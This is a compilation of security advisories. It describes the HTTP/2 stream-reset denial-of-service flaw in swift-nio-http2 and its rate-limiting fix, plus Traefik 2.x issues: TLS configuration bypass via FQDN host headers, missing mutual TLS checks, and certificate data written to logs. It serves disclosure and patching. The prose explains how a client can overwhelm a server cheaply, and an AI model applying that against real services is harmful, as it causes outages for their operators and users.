In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.
Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.
swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.
swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.
Traefik is an HTTP reverse proxy and load balancer. Prior to version 2.6.1, Traefik skips the router transport layer security (TLS) configuration when the host header is a fully qualified domain name (FQDN). For a request, the TLS configuration choice can be different than the router choice, which implies the use of a wrong TLS configuration. When sending a request using FQDN handled by a router configured with a dedicated TLS configuration, the TLS configuration falls back to the default configuration that might not correspond to the configured one. If the CNAME flattening is enabled, the selected TLS configuration is the SNI one and the routing uses the CNAME value, so this can skip the expected TLS configuration. Version 2.6.1 contains a patch for this issue. As a workaround, one may add the FDQN to the host rule. However, there is no workaround if the CNAME flattening is enabled.
Traefik 2.x, in certain configurations, allows HTTPS sessions to proceed without mutual TLS verification in a situation where ERRBADSSLCLIENTAUTHCERT should have occurred.
configurationwatcher.go in Traefik 2.x before 2.1.4 and TraefikEE 2.0.0 mishandles the purging of certificate contents from providers before logging.